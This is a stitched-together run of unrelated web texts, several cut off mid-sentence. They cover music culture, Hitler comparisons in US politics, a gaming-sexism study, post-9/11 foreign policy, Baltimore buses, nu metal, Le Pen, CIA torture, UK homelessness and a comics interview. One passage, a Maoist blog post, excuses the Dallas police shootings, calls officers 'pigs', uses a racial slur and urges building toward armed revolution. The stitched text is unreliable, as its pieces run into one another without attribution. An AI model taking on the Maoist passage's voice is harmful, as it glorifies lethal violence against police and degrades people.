A little noticed but corrosive quirk of the digital age is the way our interfaces conflate music with all other media and entertainment choices. iTunes started it by taking software ostensibly for collecting and playing music and morphing it into a platform for TV, film, podcasts, games, apps and so on. This is both a symbol and a cause of the dwindling meaning and import of music in the multi-media onslaught that is our culture. The shiny displays distracting people away from “just” music are already ubiquitous. So why impose them on a music player? I believe that one reason vinyl and phonographs are hot again is that musically oriented people crave something of a shrine for their music — a device that is for music only.
5. Anti-intellectualism
Music has for decades been promoted and explained to us almost exclusively as a talisman of emotion. The overwhelming issue is how it makes you feel. Whereas the art music of the West transcended because of its dazzling dance of emotion and intellect. Art music relates to mathematics, architecture, symbolism and philosophy. And as such topics have been belittled in the general press or cable television, our collective ability to relate to music through a humanities lens has atrophied. Those of us who had music explained and demonstrated to us as a game for the brain as well as the heart had it really lucky. Why so many are satisfied to engage with music at only the level of feeling is a vast, impoverishing mystery.
6. Movies & Games
We as a culture do hear quite a lot of “classical” or composed instrumental music, but it has migrated from the concert hall to the video game and movie score. On one hand, that’s given young composers options to make a living, and some very good music is being imagined for these imaginary landscapes. But there’s a pernicious effect of the ubiquitous media sound track, in that whole galaxies of musical ideas and motifs and moods have been essentially occupied and rendered cliché. How does a young person steeped in the faux-Shostakovich rumbling of a war game soundtrack hear real Shostakovich and think it’s any big deal? This is rarely remarked on, but I believe that thousands of cumulative impressions of background music assigned to “romance” and “grief” and “heroism” have laid down layers of scar tissue on our ability to feel something when tonal symphonic music is made or written in the 21st century.
7. Music in Schools
It all begins — or ends — here. Like any other language, the rules and terms and structure are most readily absorbed by the young. And as music’s been cut from more than half the grade schools in the US in a long, grinding trend, the pushback has been based increasingly on evidence about music education’s ripple effects on overall academic performance — the ‘music makes kids smarter’ argument. This is true and vital, but we tend to lose sight of the case for the value of music in our culture — that music education makes kids more musical. Those who internalize music’s rules and rites early in life will be more likely to attend serious concerts and bring a more astute ear to their pop music choices as adults.Daniel Greenfield, a Shillman Journalism Fellow at the Freedom Center, is a New York writer focusing on radical Islam.
“Except for Adolf Hitler's extermination of the Jewish people, the American bombardment of defenseless peasants in Indochina is the most barbaric act of modern times.”
That quote didn’t come from some Soviet hack coughing up copy for Moscow, but from Democratic presidential candidate George McGovern. (Some years later, McGovern would compare the Communist massacres in Cambodia to the Holocaust and call for some of that barbaric military intervention.)
Vice President Hubert Humphrey also brought out Hitler when running against Nixon, declaring, “If the British had not fought in 1940, Hitler would have been in London and if Democrats do not fight in 1968, Nixon will be in the White House.” Chicago Mayor Daley had accused Nixon of “Hitler type” tactics.
McGovern had set a record for comparing Nixon to Hitler, which made him very popular with the left, but he hadn’t originated it. Comparing any Republican presidential candidate to Hitler had been a standard Democratic political tactic for some time no matter how inappropriate it might be.
Before McGovern was comparing Nixon to Hitler, he was comparing Barry Goldwater to Hitler. Goldwater had a Jewish father and a distaste for Socialism, which would have made him unwelcome in the ranks of the racially and politically pure National Socialists, but that didn’t stop the Hitler accusations from being hurled by the Democratic party and its political allies in the press.
Governor Pat Brown of California said, “Goldwater's acceptance speech had the stench of fascism. All we needed to hear was Heil Hitler.” Mayor Jack Shelley of San Francisco claimed that Goldwater strategists got all their ideas from Mein Kampf.
Even though Goldwater had been an early NAACP member, NAACP leader Roy Wilkins warned, "Those who say that the doctrine of ultra-conservatism offers no menace should remember that a man come out of the beer halls of Munich and rallied the forces of rightism in Germany. All the same elements are there in San Francisco now."
The NAACP accused Goldwater of appealing to “fear and bigotry”. Martin Luther King said, “We see danger signs of Hitlerism in the candidacy of Mr. Goldwater.”
Union leaders launched a national campaign to denounce Goldwater as Hitler II. "I have drawn a parallel between Goldwater and Hitler and I make no apology for drawing that parallel," George Meany of the AFL-CIO declared. While Goldwater wasn’t Hitler, the CIO part of the AFL-CIO had strong Communist influences and after the Hitler-Stalin pact, some unions within it staged strikes to sabotage production and prevent aid from reaching the Allies who were fighting Hitler. Not only was Goldwater not Hitler, but some of the organizations represented by Meany had aided Hitler when Stalin |
semi-anonymous nature of Xbox live pseudonyms, but lacking key information such as location, ethnicity, or age, makes it impossible to properly generalize this information to the public. They did not even record the one bit of demographic information that was available to them, player skill.
The manner which skill was determined would not distinguish between, as an example, a teenager who may have never played competitive online games alongside women before, or a fifty-year old Klansman. Without the necessary demographic information, it is not possible to determine the significance of the data in relation to the general public. Without factoring in other potential causes for the sexist behavior, or even attempting to control for such factors, the author has attempted to convince the public that the only reason for such sexist attitudes is the fact that a woman is performing better than a man in a game, and nothing else.
While the researchers didn’t control for factors such as age, nationality, location, or even ethnicity, they did make sure to carefully explain just what information was used. In total, the older study from which the data was obtained had 1136 participants, with roughly 574 participants played against the female voice, and 567 played against the male voice. However, these exact figures were omitted from the study because the author made sure to write only what he thought as “necessary” for the reader to come up with their own opinion.
This necessary information meant only looking at the participants that actually spoke, which ended up being 189 participants. While it is easy for a casual reader to assume the fact that people didn’t talk meant this information wasn’t useful, it is critical for researchers to publish all of the information that they obtained. The importance of including such “unnecessary” information means the difference between a figure of 1.9% or 13.4% of participants using sexist comments once it is stripped of context such as in media coverage, a figure which is seven times greater than initial findings.
One of my old statistics professors told me in my undergrad program that you can prove anything using statistics. Change the amount of participants in a study and you can prove that raising the temperature in a classroom can improve the likelihood of scoring an A on a final exam. This is what the researchers proved, if you manipulate the data enough, you can show that male gamers who play poorly will make sexist comments toward women while losing.
Out of every player that participated on the female side of the study, only 1.9% displayed a sexist comment. That is 11/574 (or 1.9%), breaking that down to only players who were active teammates of the female experiment, and we’ve are left with 11/246 (or 4.47%). If we reduce the numbers further to only the 84 participants that actually talked and we’re at 11/84 (or 13.4%) of all participants using sexist remarks.
This generalization promoted by manipulated data is far from the only over-generalization due to inconsistent, or incomplete data. Factors such as Playlist Rank are more dependent on the amount of time played than on skill. This Playlist Rank system only takes the amount of times a player has won or tied, lost, or disconnected into account, rather than factors such as cooperation, assists, or even driving vehicles, let alone a proper kill to death ratio. In this study, Rank is believed to be a “status symbol” that shows “dominance” to the other players, rather than a factor that could easily be manipulated, or paid for.
In this respect, Rank is no more than a cosmetic decal that shows how long a person has been playing. While this would could have been a contributing factor had this study looked at games such as Call of Duty, where specific activity directly relates to Rank and thus an increase in competitiveness to ensure a higher rank, this is not the case in Halo 3. The only time skill becomes a factor in Halo 3’s rank system is at a much higher level than typically used in this study.
A second factor this study tries to use is a kill-death ratio to show skill of the player. The amount of kills you have over the amount of deaths you’ve had typically show your general level of skill according to the study. Again this takes out all cooperative team-like behavior. Just because a player isn’t killing the opposing team doesn’t mean they aren’t a credit to their team. Assists matter in a team-based game, driving the vehicle while others take the kill is important. By removing these important factors the data cannot accurately represent who performs the best in a team-based game like Halo 3, and skews the data to only show players who take aggressive action as dominant.
This study did show statistical significance for several interactions between the experimental player and the participants. It is important to understand that statistical significance is not proof of the conclusions they draw from it, rather that the likelihood of these events occurring again is greater than random chance. Given the small sample size, even the variation due to chance is quite large.
It does not account at all for countless demographic co-founders or other biases they do not control for and that could easily correlate with in-game communication habits, including their inappropriate use of Rank (which effectively measures the amount of time playing the game) and kill/death ratio (which is influenced by cooperative team-oriented playstyles). Instead they use this as a launching-off point to propose a elaborate hypothesis about the sociology of “low-status males”, as if this uncontrolled, scant, and noisy data is capable of providing insight into the human condition.
Despite the willful manipulation of the statistics, the over-generalization of the participant motives, the denial of a very useful control, the refusal to acknowledge demographic differences, and the fact that this data comes from a game that’s nearly eight years old, journalists continued to use this information.
This data was used to say that people who are bad at playing games are sexist. This study only had 11 participants say sexist things, but 11 participants became the public at large. This is why everyone should learn how to analyze a scientific paper, if only to come to your own conclusions.
Sources:BUZZARDS BAY, Mass. — On yet another dark anniversary of the day that changed the world, the United States finds itself once again in crisis.
The events in Syria have shocked and sickened all who have seen the horrific videos of children gasping for life, of men and women foaming at the mouth, of stacks of white-shrouded bodies awaiting burial.
It’s clear that something must be done. What’s much murkier is what kind of action can help alleviate the suffering and try to ensure that it never happens again.
Even before the chemical attacks near Damascus, Syria’s tragedy troubled the world’s conscience. More than 100,000 people have died in less than three years of brutal civil war, with 6 million more displaced.
It’s increasingly apparent that some elements of this tragedy have their roots in America’s response to those September attacks.
The 12-year “Global War on Terror” exacerbated sectarian tensions across the region, stoked fears of Western aggression in the Muslim world, and gave already militant jihadists a focus for their anger and belligerence. Many of these fighters found their way to Syria, where they helped organize resistance to the Baathist regime of Bashar al-Assad.
But as the US endeavors to reassert its position as the world’s moral compass, memories of the past decade stand firmly in the way. Its citizens are no longer so eager to rush into conflict in a distant country that’s not a direct threat to the homeland. Nor is the rest of the world as willing as it once may have been to accept Washington as an honest broker.
The reasons for the shift in perceptions, both at home and abroad, can be traced to the series of deceptions and missteps that have plagued US foreign policy since 9/11.
More from GlobalPost: The Russian proposal
When the second plane crashed into the South tower at 9:03 a.m. on Sept. 11, 2001, something fundamentally shifted in the American psyche. The first plane could have been a horrible accident; two in such quick succession meant, unbelievably, America was under attack.
Everyone remembers the flood of patriotism and grit that followed those September days. Overpasses were festooned with flags; small schoolchildren took oaths to find and kill Osama bin Laden.
But behind the scenes, the maneuvering had already begun. Records show that Defense Secretary Donald Rumsfeld was planning to link Iraq’s ruler, Saddam Hussein, to 9/11 within hours of the attacks — facts be damned.
Within three days President George W. Bush had Congress’ authorization to use "all necessary and appropriate force against those nations, organizations, or persons he determines planned, authorized, committed, or aided the terrorist attacks that occurred on Sept. 11, 2001, or harbored such organizations or persons, in order to prevent any future acts of international terrorism against the United States by such nations, organizations or persons."
This was a very large blank check that the administration lost no time in cashing.
Bush ordered the Taliban to hand over Osama bin Laden or face the consequences. When the Taliban asked for proof of bin Laden’s involvement, Bush declared: "There's no need to discuss innocence or guilt. We know he's guilty.”
The Taliban did not agree.
The war in Afghanistan began on Oct. 7, less than four weeks after the first plane hit New York. Within a little more than a month, it was “over”: At Tora Bora, the last Taliban, along with Osama bin Laden, scampered over the border into Pakistan, and America’s ally, the Afghan Northern Alliance, took Kabul. As far as the United States was concerned, the war was won.
But it wasn’t that simple: Afghanistan defied Washington’s prescriptions for a bright, democratic future, and within four years a full-blown insurgency was in place, launching a round of hostilities that continues to this day.
While Afghanistan ticked along with minimal resources and scant attention from Iraq-focused Washington, the Bush administration was drumming up support for its planned attack on Saddam Hussein, citing the “weapons of mass destruction” with which the dictator was allegedly holding the world hostage.
In his State of the Union address in 2003, Bush trumpeted Saddam’s attempts to purchase uranium from Niger. Aluminum tubes were spotted that could “only” be suitable for a nuclear weapons program.
Those who bucked the party line, like Ambassador Joseph Wilson, who insisted that the Niger uranium story was a hoax, had their lives destroyed. Wilson’s wife, CIA officer Valerie Plame, was exposed, setting off a media witch hunt that sent a New York Times reporter, Judith Miller, to jail for 12 weeks.
Even the administration’s loyal foot soldiers suffered. Secretary of State Colin Powell, who made the case for war to the United Nations Security Council in February 2003, saw his integrity questioned and a blameless record forever tainted.
As TV satirist Stephen Colbert put it so succinctly just last week:
“I miss George W. Bush. That man knew how to sell a war. [He] got an international coalition with nothing more than Colin Powell's reputation and half a test tube of crystal light.”
The Iraq war proper began in March 2003, with a campaign of “shock and awe.”
Again, America’s overwhelming might seemed to carry the day: on May 1, 2003, President Bush announced the end of combat operations in his “Mission Accomplished” speech.
Of course the worst was still to come. The conflicts in Afghanistan and Iraq, with the accompanying “covert” drone campaigns in Pakistan and Yemen, deepened feelings in the region that the United States was, despite protests to the contrary, at war with Islam.
Clumsy political maneuvering by Washington also exacerbated the crises, setting ethnic groups against each other in Afghanistan, and exploiting centuries-old Sunni-Shia Muslim tensions in Iraq, Syria, and Lebanon.
Perhaps worst of all, the post-9/11 “Global War on Terror” provided a rallying point for militant jihadists everywhere. Much as Afghanistan’s war against the Soviets in the 1980s provided the training ground for groups that would become the Taliban and Al Qaeda, America’s ill-considered military adventures served as a deadly playground where militants could hone their skills and refine their philosophies of hate.
They then fan out to conflict points such as Syria, where they find a ready audience for their propaganda.
According to researchers Peter Bergen and Paul Cruikshank, the Iraq war has been particularly destructive in this regard.
“Since the invasion of Iraq, attacks by [jihadist] groups have risen more than sevenfold around the world,” they write in their report “The Iraq Effect.” We will be living with the consequences of the Iraq debacle for more than a decade.
When George W. Bush took the helm from Bill Clinton in 2001, the United States was the undisputed leader of the world.
Russia was still licking its wounds from its own implosion in 1991, caused by its misadventures in Afghanistan, its miserable economy, and a population that, thanks to the Internet and social media, could no longer be isolated.
Vladimir Putin replaced a decrepit Boris Yeltsin on Jan. 1, 2000; from that moment Russia began its comeback on the world stage.
A young and charismatic Barack Obama moved into the Oval Office in 2009, determined to chase away the ghosts of the previous administration and restore some of America’s lost luster.
He started a new policy of openness toward the Muslim world designed to quiet fears that the US was at war with Islam. This raised expectations abroad while infuriating many at home.
When a young Tunisian street vendor named Mohamed Bouazizi set himself on fire on Dec. 17, 2010, he ignited a wave of protest throughout the Middle East that became known as the Arab Spring.
Obama should have been in a perfect position to help.
Instead, he’s criticized for passivity during Iran’s 2009 “Green Revolution,” for “leading from behind” in Libya, for dithering during Egypt’s recent crises, and now for conflicting messages on Syria.
Obama was riding high on May 2, 2011, when US Navy Seals mounted the raid that killed Osama bin Laden. But his image has taken more than a few hits since that golden time.
Even his staunchest allies were a bit put off by revelations from US spy agency leaker Edward Snowden, who showed the world the extent of Washington’s snooping — and not only on its enemies.
So, when Obama appeals to the world’s conscience, asking that they support and follow him into Syria based on his heartfelt assurances that he has proof of the Assad regime’s perfidy, there are few ready takers.
Russia is on the ascendant, the world is skeptical, and the American public is obstinately opposed.
It has been a long and twisting road, but it all goes back to that bright September morning in 2001, the day that the world changed.
Journalist Jean MacKenzie worked as a reporter in Afghanistan from October 2004 to December 2011, first as the head of the Institute for War and Peace Reporting, then as a senior correspondent for GlobalPost.Five months after the Maryland Transit Administration rerouted its entire Baltimore-area bus network, buses now arrive on time about 80 percent of the time, but ridership remains flat, according to MTA Administrator Kevin Quinn.
The $135 million bus system overhaul called BaltimoreLink has increased reliability by 9 percent, thanks in part to new bus-only lanes designed to help buses bypass gridlock downtown and traffic-light sensors that extend green lights and shorten red ones for them, among other measures, he said.
“That may not sound like a lot, but any transit system nationwide would be thrilled with a 9 percent increase in reliability,” he said. “All around, pieces are coming into place.”
The agency has been tweaking the system based on rider feedback since the June launch, Quinn said, and it incorporated ridership trends into its proposed 2018 Winter Service Adjustments set to take place in February.
The MTA is hosting public meetings this week to get rider feedback on those changes, which include the proposed addition of a new LocalLink 63 route to TradePoint Atlantic; the removal of three commuter routes, ExpressLink 102, 106 and 107; the proposed realignment of nine other routes; and other service changes.
While ridership has remained flat since BaltimoreLink’s launch, Quinn said evaluating its success after five months is premature. The MTA lost some riders and gained others during the transition, and the two weeks of free service, he said. The addition of 27,000 students when school started in September also makes the ridership impact difficult to assess, Quinn said.
“There’s still a lot of ups and down here and there,” he said. “I think the dust has yet to settle on the ridership question. Time will tell to see how it increases.”
Other changes Quinn called a success. The system’s first two bus-only lanes, on Lombard and Pratt streets, lowered bus wait times by a quarter, he said. The MTA saw time savings of 22 percent on Loch Raven Boulevard and York Road-Greenmount Avenue, the first two corridors to receive traffic-light sensors for buses, he said.
Brian O'Malley, president of the Central Maryland Transportation Alliance, a rider advocacy group, agreed that it’s too early to judge BaltimoreLink’s ridership.
Many people decide where to live or work based on the available transportation options, and those decisions take more than a few months to play out on a large scale, he said.
“I’d be very interested to see where ridership is in June 2018,” O’Malley said. “I even was prepared for it to dip down a bit as riders adjusted to the changes.”
The alliance plans to release a Central Maryland Transportation Report Card grading the Baltimore region against similarly sized regions like Charlotte, Cleveland, Pittsburgh, Denver and Seattle on a dozen indicators including accessibility to jobs by public transportation, hours of delay in traffic, air pollution, walkability, reliable public transportation and commute time, O’Malley said.
He declined to share Baltimore’s grades ahead of the report card’s publication on Friday at a news conference planned at Impact Hub Baltimore in Station North.
Of the MTA’s proposed winter changes, O’Malley said cutting the three routes make sense because ridership is low.
His biggest question remains the same regarding any service change: “At the end of the day, do we come out even or ahead or are we losing service?”
Riders interested in voicing their opinion about the changes can attend one of the following public meetings:
Tuesday, Nov. 14, 6 p.m.-8 p.m., Rita Church Community Center, 2101 Saint Lo Drive, Baltimore. (Transit to this location via CityLink Gold and LocalLink 21, 22, and 54.)
Wednesday, Nov. 15, 6 p.m.-8 p.m., Baltimore County Public Library North Point Branch, 1716 Merritt Blvd. Baltimore.(Transit to this location via LocalLink 62.)
Wednesday, Nov. 15, 6 p.m.-8 p.m., Sheraton Baltimore North Hotel, Grason Room, 903 Dulaney Valley Road, Towson. (Transit to this location via CityLink Red and Green, LocalLink 36, 51, 52, 53, and 93, and Express BusLink 102 and 106.)
Thursday, Nov. 16, 6 p.m.-8 p.m., Fairfield Inn, Lombard Room, 101 S. President St., Baltimore. (Transit to this location via CityLink Blue, Brown, Navy, Orange, and Purple, LocalLink 65, and Metro SubwayLink.)
[email protected]
twitter.com/cmcampbell6There’s a new (nu?) trend afoot in the world of emerging metalcore bands and that trend is similar in its makeup to nu metal when it came out. Instead of chug heavy riffs, we start with metalcore and instead of rap, we have RnB. Gavin Lloyd grew up with nu metal. Is this new trend as worthy or original, though? Hmmm…
I grew up during nu metal’s heyday and the likes of Limp Bizkit and Slipknot went a long way towards shaping my taste in music and making me the metal-loving scamp I am today. Nu metal was huge and had a mainstream crossover appeal that hasn’t been seen since in terms of heavy music.
For example, I once witnessed a school assembly where two girls did a disco dance routine to ‘Last Resort’. As I was blissfully minding my own business listening to The Kennedy Soundtrack, many of my peers were growing tired of the genre. I remember reading Kerrang! as they celebrated the death of nu metal in the form of the rising popularity of metalcore.
Nu metal carried a black spot with it for a number of years with many embarrassed that they once owned a “PEOPLE = SHIT” hoody and a red baseball cap. Obviously, like everything, nu metal would eventually come full circle with many now happy to pull their heads out of their socially conscious arses and celebrate the music they grew up with.
Perhaps the pivotal moment being when Limp Bizkit reunited with Wes Borland and played Download Festival in 2009 to one of the biggest crowds of the weekend, all joyfully rotating their air steering wheels to ‘Rollin”.
It would only make sense that nu metal’s influence would make itself present in the current metal scene. After all, many people who are in up-and-coming bands would have grown up listening to nu metal. While we’ve seen very little straight up nu metal nostalgia acts emerging, there has been a recent trend of bands within the metalcore scene (that once supposedly killed off nu metal) embracing nu metal elements into their music.
Perhaps the most obvious example is Bring Me The Horizon’s latest album Sempiternal. Oli Sykes and co’s rise in popularity (as well as the quality of their output) had been steadily growing for a while and it was unpredictable what direction they would take after 2010’s There is a Hell…. On the one hand, if they merely settled into their sound and continued down the same path there would be less room for fanbase growth, while a full-on pop turn could easily spell the kind of disaster that Architects suffered with The Here and Now and its dire radio ballads.
Bring Me The Horizon hit the nail on the head by sticking faithful to their trademark sound while borrowing influence from one of the most commercially viable periods for metal in recent memory. Be it the Deftones-esque vibes of ‘And The Snakes Start to Sing’, or ‘Sleepwalking’ which does enough to satisfy old school Linkin Park fans while the actual LP fanny around with computer games.
However, it doesn’t stop at BMTH. Suicide Silence’s last album, The Black Crown was an honest deathcore homage to the bouncing brutality of Slipknot. When Of Mice & Men re-released their 2011 album The Flood last year it came bundled with four new tracks that were the best thing they’ve ever done. Ushering in a somewhat tweaked and more exciting take on their bog standard metalcore sound, ‘The Depths’ had all the fury of Slipknot leading it to be a mosh anthem that foretells a bright future for the band.
Furthermore, Parkway Drive embraced deck scratching on last year’s Atlas and Stray From The Path’s new album, Anonymous is a full-on love letter to Rage Against The Machine.
The reasoning for this perhaps being that when looking at the average of those in bands, many of today’s musicians would have gone through the crossover period of popularity between the two genres. While they may have started playing in bands and becoming a part of the metalcore scene during its rise to popularity, it may have been nu metal that got them into heavier music in the first place. It leads to bands that are embracing and combining both genres.
It’s only fair to assume that as well as the musicians themselves, those working behind the scenes with the power to promote and sign bands are of a similar age. Therefore, they can have a commercial eye on the ever-popular metalcore scene while also having a soft spot for the warm memories nu metal once provided for them.
It has led to a number of newer metalcore bands that embrace nu metal being signed. Take, for example, RnB/m0sh crossover band, Issues. A pretty unique proposition in their own right, yet the band’s genre blending has led to them utilising more than a few of their nu metal forefather’s nuances.
While Illinois misery merchants Sworn In‘s nihilistic new album The Death Card is juxtaposed with a slew of jump-da-fuck-up riffs. Alongside this there is also My Ticket Home who have gone from forgettable Rise Records runners up to proudly showing off the impression their Taproot and Spineshank CD collections had on them on new album Strangers Only. As well as Dangerkids Enter Shikari-isms and deathcore vibes sitting alongside some rapping that Mike Shinoda would be proud of.
So it certainly looks like nu metalcore is a thing, and it’s a thing that could potentially be quite popular. While it may seem nostalgic to some of us, we must bear in mind that many of these bands in question’s core fans will be younger and less familiar with nu metal, meaning it is fresh and exciting to them.
Will the amalgamation prove to be as popular as the original nu metal around the turn of the century and manage to crossover to a mainstream audience? It’s still yet to be seen but Bring Me The Horizon’s steady rise and the excitement being generated by Issues, to name but two examples, proves that there is a lot to look forward to.KOBLENZ, Germany — Marine Le Pen wasted no time in proclaiming 2017 as the year of far-right awakening in Europe.
“We are living through the end of one world, and the birth of another,” Ms. Le Pen, the leader of France’s National Front party, told a cheering gathering of members of European right-wing parties on Saturday in this Rhine River city to chart a joint path to success in elections in the Netherlands, France and Germany this year.
“In 2016, the Anglo-Saxon world woke up,” Ms. Le Pen said. “In 2017, I am sure that it will be the year of the Continental peoples rising up.”
The triumph of anti-Europeans in Britain and Donald J. Trump in the United States has galvanized the Continent’s far-right parties, who are making appeals to disillusioned voters already bitter over social inequality, loss of sovereignty and waves of migration. And, amid suspicions that Russia is trying to destabilize the Continent by allying with the right, Europe’s mainstream parties may be forced into awkward or ineffectual coalitions, to preserve their power and keep extremists out.From what we know, a lone individual named Micah Xavier Johnson (the media shortens it to X, how very subtle of them) clambered into a sort of snipers’ nest and used a rifle to mow down 5 of Dallas’s dullest (pigs) and injure several others, including a couple civilians. This was in the context of a “peaceful” Black Lives Matter march that was organized by the predictable array of NGOs and church groups, and many participants in the march were shown later to be posing with pigs. Johnson’s actions were, from a Maoist viewpoint, adventuristic. Armed actions are to be carried out by disciplined units of a people’s army and not by scattered “lone wolves”. Violence is a tool to be wielded in the people’s interests and from the viewpoint of the masses of people, with their consent and participation. During the period of the revolutionary war, the protracted people’s war, violence is used with the intent of seizing control, first over liberated zones and base areas and then over the whole country. Demonstrations, as well, are not just for demonstration’s sake, they are also a tool, used by the mass organizations and the Communist Party to show strength, to threaten, and to show force, also to build a red mass culture. After the capture of power and the establishment of the proletarian state, violence is used to suppress the bourgeoisie and other alien elements that would seek to subvert the new power. But that’s neither here nor there in this particular situation, Johnson wasn’t a Maoist and obviously didn’t behave as such. What he represents is 400 years of rage, the spectre under the bed of every pig, the radical nigger, the Nat Turner sneaking into the bedroom after dark to chop off massa’s head. I don’t fault him, I just wish he had found Marxism-Leninism-Maoism instead of the racialism and NOI/NBPP type cultural nationalism that he expressed on his Facebook page and apparently made up his ideology.
Actions like that which he took are to be understood as “revenge actions”, people who’ve had enough and can’t take anymore. If you feel like that, please don’t pick up a gun and start shooting at pigs, it can’t help the masses at this stage. We don’t need more martyrs, the pigs help us enough on that front. We need revolutionaries, we need cadres, we need disciplined people that are really serious about revolution and acknowledge the protracted nature of the struggle. The objective is to smash the pig system, not chop heads off the hydra so that 20 more can grow back. If you live in the Saint Louis or Kansas City Metropolitan areas, join or form mass organizations like Progressive Youth Organization – STL and Progressive Youth Organization – KC. If you’re in Austin, DC, Portland, or Los Angeles, join the Serve the People groups there, and also develop your theory and practice. Research Marxism-Leninism-Maoism, and study the practice of people’s wars and Maoist revolutions the world over, then get with others that think alike, or help develop others’ politics. Start or join a revolutionary collective like KCRC (Kansas City Revolutionary Collective) or the Red Guards collectives in Los Angeles and Austin, if you’re theoretically developed and willing to dedicate a shitload of your time to making revolution as cadre. Help build organizations and collectives that can struggle for unity into a Maoist Communist Party, and build dual power apparatus in your city. Make it so that people don’t have to call the pigs. Make it so that people realize that there’s a better way and this hell is only temporary. Study and train in self-defense. Serve the people and apply the mass line. The people’s army and the people’s party will take a long time to build, and won’t drop out of the sky, but without it, we have nothing.
I don’t mourn for pigs. The whole bourgeois apparatus, ranging from the flag outside the post office to the media to the chief pig sitting in the White House the bourgeois/petit bourgeois operating within the Black Lives Matter movement swung into action before the pigs’ bodies were cold, calling for healing and prayer and “coming together”. No real revolutionary cries for the deaths of their enemies. Neither do the masses. The pig from its very inception has been an enemy of the people. The pig caught my ancestors when they fled the plantations, bashed our heads in to keep us as sharecroppers, joined lynch mobs, broke up strikes, and encouraged the spread of drugs in our communities. As for the “few good cops”, some snakes don’t bite, but they’re still snakes and have an antagonistic contradiction with the mice. The people rejoice when they hear about their enemies’ deaths, and mourn the losses of their own. 4 black men were killed by these pigs last week, that is who I mourn. Revisionists that excised the Leninism out of themselves long ago with a rusty dagger are now bawling about “adventurists celebrating the events in Dallas” and digging out Lenin and Trotsky quotes about the folly of individual terrorism while running presidential campaigns (and their mouths), tailing left and right, the CPUSA is “condemning the deaths of the police officers in Dallas”, and much of the petit-bourgeois BLM “leadership” exemplified by DeRay McKesson (who was recently arrested in Baton Rouge, I feel for the guy but he’s a neoliberal petit bourgeois shill that will end up being a more stylish version of Al Sharpton) is currently falling over themselves distancing themselves and writing things that other academics will read and generally engaging in the worst displays of handwringing, spineless liberalism that I’ve ever seen. Let them, they’re irrelevant and the masses don’t give a shit anyways. There’s a class struggle brewing in BLM, and the petit bourgeois who disown and attack a black person who thought his life mattered will be overthrown by the masses who continue to storm the gates of heaven and wage militant struggle against the pig. Be the pig or fuck the pig, these are your options. No middle ground. What’s it gonna be?
AdvertisementsMost of the recent Senate report on the CIA’s use of torture after 9/11 is gruesomely detailed. But one thing is missing. In the report, it seems that all of the detainees subject to torture were men.
There are several possible explanations. The CIA might not torture women, although we know from the photographs from the Abu Ghraib prison that women have certainly been perpetrators. Or maybe the report reveals a selective reading of the CIA documents reviewed. As Amanda Gutterman, an editor at the Huffington Post, noted, the word “she” appeared fewer than 20 times in the extensive document. And these references were largely to female senators or to the former national security adviser Condoleezza Rice.
Another explanation is that, perhaps, as fears mount about a backlash in the Islamic world to the report’s release, the omission of women was a calculated decision. In areas of ongoing conflict, particularly in culturally conservative societies, attacks on women are often seen as a deeper symbolic wound.
It could also be part of a general trend of overlooking women in torture reporting. A Danish group, Dignity, found that in the past six years only a quarter of the reporting on torture and detention made any reference to women.
Although the number of women in torture chambers is likely to be much lower than the number of men, we know that there were female suspects in U.S. custody. These women had similar profiles to the men who were on the receiving end of inhumane degradation. Human rights groups monitored the New York trial of one U.S.-educated woman, Aafia Siddiqui, a Pakistani national, who was believed to be held in secret custody, possibly in one of the infamous black sites. In March 2004, she was placed on the U.S. attorney general’s most wanted list for suspected terrorist activity in Afghanistan, but she was formally charged for attacking an interrogating soldier. She was missing for years. It is hard to believe thatImage copyright Getty Images Image caption The report says 120,000 children are homeless and living in temporary accommodation
Homelessness in England is a "national crisis" and the government's attitude to tackling it is "unacceptably complacent", a committee of MPs say.
A Public Accounts Committee report found there were more than 9,000 rough sleepers and some 78,000 families living in temporary accommodation.
The cross-party research said there was a shortage of housing options for homeless people and those at risk.
The government says it is investing more than £1 billion on the problem.
The definition of homelessness under law includes rough sleepers, single people in hostels and those in temporary accommodation.
Since 2011, the number of people sleeping on the streets has increased by 134 per cent, the report says.
Meanwhile, those living in temporary accommodation has risen by about two-thirds in the last seven years.
Some 120,000 children are among those without permanent housing, the report says.
Labour MP Meg Hillier, who chairs the committee, says the government's approach to tackling the problem of homelessness has been an "abject failure".
"The government must do more to understand and measure the real world costs and causes of homelessness and put in place the joined-up strategy that is so desperately needed.
"That means properly addressing the shortage of realistic housing options for those at risk of homelessness or already in temporary accommodation.
"More fundamentally, it means getting a grip on the market's failure to provide genuinely affordable homes, both to rent and to buy."
Ms Hillier suggests action such as providing financial support to local authorities with acute shortages of suitable housing.Back in November we ran a story about a fan fiction called Batman: The Deal by Gerardo Preciado and Daniel Bayliss. We were not the only ones to cover it as it was quite a unique and dramatic project. Seems the folks at Boom! Studios were paying attention as well since they picked up Bayliss to do their new series Translucid. So what was the deal with Batman: The Deal? Lets find out…
BLEEDING COOL: Let me start by asking you about the project you did with writer Gerardo Preciado, Batman: The Deal. This was basically fan fiction you put out on the web. What did the two of you hope to get from doing the project? Were you surprised at just how much attention it got?
DANIEL BAYLISS: We made The Deal out of pure fan love. Gerardo and I have been making our short stories for years now, as a kind of training, to learn the ways of making comics, you know, late at night after our day jobs. So this one was our first attempt at tackling popular characters, and to be honest we definitely didn’t expect the amount of attention it got. We thought it will only be seen by a couple of friends and suddenly it went viral on Facebook, and that really surprised us. Then, all of a sudden, our work was being featured on many comic book sites just like yours. We could not believe it, that just really blew our minds.
BC: Looking at the Moonhead Press website, you and Preciado have done quite a few projects. Some other fan fiction and some creator owned. Are you actively shopping any of the projects to publishers?
DB: Well, actually, Gerardo and I submitted two of our stories to a publisher before we put them on our Moonhead Press site, but we had no luck on those. At this moment, we have a lot of ideas in different stages of development. Our main goal is to keep working on our short stories and complete a graphic novel we have been working on for quite some time.
BC: You are doing the art for Translucid, which is written by Coheed and Cambria frontman Claudio Sanchez and his writer partner/wife Chondra Echert. How did you get involved with this new Boom! Studios title?
DB: Right after we put out The Deal, I was contacted by BOOM! Studios editor Ian Brill and Assistant Editor Jasmine Amiri and they asked me to try some test pages for TRANSLUCID. I was in complete shock!. Having known Claudio and Chondra’s awesome music and comic book work made it a no-brainer for me. I made the test pages and got the gig, and still can’t believe it.
BC: What can you tell us about Translucid? From what I’ve seen there’s a guy with a horse head (or Knights head from chess) another |
